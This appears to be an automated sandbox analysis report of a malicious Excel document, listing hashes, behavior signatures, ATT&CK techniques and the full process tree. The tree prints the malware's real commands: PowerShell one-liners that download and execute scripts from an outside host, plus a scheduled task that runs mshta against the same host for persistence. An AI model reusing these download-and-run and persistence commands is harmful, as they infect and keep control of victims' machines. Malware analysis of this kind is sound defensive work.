12ee955f5fda37ca1401c538c987d516f768fdc4267317bf112b6f824d6bd69c

General

Target

SecuriteInfo.com.Exploit.Siggen3.17232.14069.xls
Size

33KB
MD5

0d47fb6353552f03eab59539cf37ffe5
SHA1

cfaeceadaa104ab5b0dce0d28ece39e3b5faa7cf
SHA256

12ee955f5fda37ca1401c538c987d516f768fdc4267317bf112b6f824d6bd69c
SHA512

006248a744c342e2d8c6e963a89a04952bbe9e82ad76968c1000a69c5ebb0e61db64a0e62861a50aa56d1285449ca3a120742c431796a061971d5e76a9b5357b

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4528	1748	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1372	1748	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5012	1748	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4368	1748	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

17 2196 powershell.exe
40 3628 powershell.exe

flow	pid	process
17	2196	powershell.exe
40	3628	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3568 schtasks.exe

pid	process
3568	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5028 taskkill.exe
Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

1040 PING.EXE
1104 PING.EXE
4552 PING.EXE
3092 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1748 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2196 powershell.exe
2196 powershell.exe
3628 powershell.exe
3628 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 5028 taskkill.exe
Token: SeDebugPrivilege 2196 powershell.exe
Token: SeDebugPrivilege 3628 powershell.exe

pid	process
5028	taskkill.exe

pid	process
1040	PING.EXE
1104	PING.EXE
4552	PING.EXE
3092	PING.EXE

pid	process
2196	powershell.exe
2196	powershell.exe
3628	powershell.exe
3628	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5028	taskkill.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	3628	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

EXCEL.EXEcmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1748 wrote to memory of 4528	1748	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 4528	1748	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 4368	1748	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 4368	1748	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 5012	1748	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 5012	1748	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 1372	1748	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 1372	1748	EXCEL.EXE	cmd.exe
PID 4528 wrote to memory of 1040	4528	cmd.exe	PING.EXE
PID 4528 wrote to memory of 1040	4528	cmd.exe	PING.EXE
PID 4368 wrote to memory of 1104	4368	cmd.exe	PING.EXE
PID 4368 wrote to memory of 1104	4368	cmd.exe	PING.EXE
PID 5012 wrote to memory of 4552	5012	cmd.exe	PING.EXE
PID 5012 wrote to memory of 4552	5012	cmd.exe	PING.EXE
PID 1372 wrote to memory of 3092	1372	cmd.exe	PING.EXE
PID 1372 wrote to memory of 3092	1372	cmd.exe	PING.EXE
PID 5012 wrote to memory of 4976	5012	cmd.exe	cmd.exe
PID 5012 wrote to memory of 4976	5012	cmd.exe	cmd.exe
PID 4976 wrote to memory of 2196	4976	cmd.exe	powershell.exe
PID 4976 wrote to memory of 2196	4976	cmd.exe	powershell.exe
PID 5012 wrote to memory of 4152	5012	cmd.exe	cmd.exe
PID 5012 wrote to memory of 4152	5012	cmd.exe	cmd.exe
PID 4152 wrote to memory of 5028	4152	cmd.exe	taskkill.exe
PID 4152 wrote to memory of 5028	4152	cmd.exe	taskkill.exe
PID 4528 wrote to memory of 3380	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 3380	4528	cmd.exe	cmd.exe
PID 3380 wrote to memory of 3628	3380	cmd.exe	powershell.exe
PID 3380 wrote to memory of 3628	3380	cmd.exe	powershell.exe
PID 4368 wrote to memory of 1140	4368	cmd.exe	cmd.exe
PID 4368 wrote to memory of 1140	4368	cmd.exe	cmd.exe
PID 1140 wrote to memory of 3568	1140	cmd.exe	schtasks.exe
PID 1140 wrote to memory of 3568	1140	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17232.14069.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 80 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4528

C:\Windows\system32\PING.EXE
ping -n 80 127.0.0.1
3⤵
- Runs ping.exe
PID:1040

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:3380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3628

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 7 127.0.0.1 & %public%\KilFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1372

C:\Windows\system32\PING.EXE
ping -n 7 127.0.0.1
3⤵
- Runs ping.exe
PID:3092

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 10 127.0.0.1 & %public%\DefenderFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5012

C:\Windows\system32\PING.EXE
ping -n 10 127.0.0.1
3⤵
- Runs ping.exe
PID:4552

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2196

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:4152

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5028

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 85 127.0.0.1 & %public%\task.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4368

C:\Windows\system32\PING.EXE
ping -n 85 127.0.0.1
3⤵
- Runs ping.exe
PID:1104

C:\Windows\system32\cmd.exe
cmd /c schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
3⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
4⤵
- Creates scheduled task(s)
PID:3568

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
abc27673d9c940ad74b41c58391d2412

SHA1
9a31a521a521dcd0f974ce6f7a50aecc69a50df0

SHA256
cb3f2adb2f5e39fbe5ae3c49837d9074a85f21e9be7eb8404444611f78a08357

SHA512
c7a574f9a53d29e2212500eb48fb05f475bac1e21b858f58e0e441caabea760ba7b7425a98610bf91e66d662f70a91c210b522bbecad3f5180e1aedbf6cfcdc4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
6KB

MD5
bdeca30f4ec7dc8733c9ae32c881966a

SHA1
51082406430b6222963fb9327c7b6cd22a7a5336

SHA256
b4cbed2f4fadf156e2073eead57ea6f2cd59e674180f13a56cb9ac0342d0881c

SHA512
eab19abd599010a057f2ab09e0d5e1af1efd5c984595c14d33562ac55bb57857fb197fbc1d59421c7031189b332ceee3ef2828e4660d6431fd49e2b402c09c74

Download Submit
C:\Users\Public\DefenderFile.bat
Filesize
1KB

MD5
ae4a0997ce01f4ebbb3f3cc0054ce933

SHA1
e5bfe3b390f1208b8b6ea0317f4364005f552851

SHA256
a33dd1505c2ac665e6e1fd424a048997ec0f43914b8f73037bd94dc2e89e35ce

SHA512
5de2f43af7756cd7be659d6f03314240e08ecfee7bcb97b45f828ef938a0a0a84b0c36667d0447fd5bfa4851e5eef9cf98182933bda86b42af4a154b37b2f184

Download Submit
C:\Users\Public\Outlook.bat
Filesize
900B

MD5
0427a3545c2eaed3167cffe2cf5f8aba

SHA1
b27f3a7d2b855f1d0b84727603add711bb6f6170

SHA256
ec7da386a5fc7007e33ffdcd8ab64b6ac207d1886e04b9b60f27a95533347391

SHA512
fafb712a5b636c0118128c2d448271680e66fc73fac67538f4b84c9917a7053470d7710ce508cfd82c941942e469bd3d048d7ebbcefa99797542ad026dfe038b

Download Submit
C:\Users\Public\task.bat
Filesize
954B

MD5
20a395a26f50352dc994664c3e7df533

SHA1
9b6407d22297b7af7c49aacd51bf42e51ced7029

SHA256
c6c13b53153f21b2486096732847ddb48b8eb888bd3d6ab93ee1f958fcea1b32

SHA512
2b974da0b7859584e39a9afa2fdf74fb1efba58e68d0c7b420065254f2cf017a8eb393c5f061a12f6ea79c729cebf5f81749b8cf14159ad331aae1daa7701617

Download Submit
memory/1040-144-0x0000000000000000-mapping.dmp

Download
memory/1104-145-0x0000000000000000-mapping.dmp

Download
memory/1140-164-0x0000000000000000-mapping.dmp

Download
memory/1372-143-0x0000000000000000-mapping.dmp

Download
memory/1748-139-0x00007FFD188D0000-0x00007FFD188E0000-memory.dmp

Filesize
64KB

Download
memory/1748-133-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-171-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-170-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-169-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-168-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-134-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-135-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-136-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-137-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/1748-138-0x00007FFD188D0000-0x00007FFD188E0000-memory.dmp

Filesize
64KB

Download
memory/2196-150-0x0000000000000000-mapping.dmp

Download
memory/2196-154-0x00007FFD32330000-0x00007FFD32DF1000-memory.dmp

Filesize
10.8MB

Download
memory/2196-153-0x000001D5E8F50000-0x000001D5E8F72000-memory.dmp

Filesize
136KB

Download
memory/2196-155-0x00007FFD32330000-0x00007FFD32DF1000-memory.dmp

Filesize
10.8MB

Download
memory/3092-147-0x0000000000000000-mapping.dmp

Download
memory/3380-157-0x0000000000000000-mapping.dmp

Download
memory/3568-165-0x0000000000000000-mapping.dmp

Download
memory/3628-166-0x00007FFD32330000-0x00007FFD32DF1000-memory.dmp

Filesize
10.8MB

Download
memory/3628-158-0x0000000000000000-mapping.dmp

Download
memory/3628-172-0x00007FFD32330000-0x00007FFD32DF1000-memory.dmp

Filesize
10.8MB

Download
memory/3628-162-0x00007FFD32330000-0x00007FFD32DF1000-memory.dmp

Filesize
10.8MB

Download
memory/4152-151-0x0000000000000000-mapping.dmp

Download
memory/4368-141-0x0000000000000000-mapping.dmp

Download
memory/4528-140-0x0000000000000000-mapping.dmp

Download
memory/4552-146-0x0000000000000000-mapping.dmp

Download
memory/4976-149-0x0000000000000000-mapping.dmp

Download
memory/5012-142-0x0000000000000000-mapping.dmp

Download
memory/5028-152-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads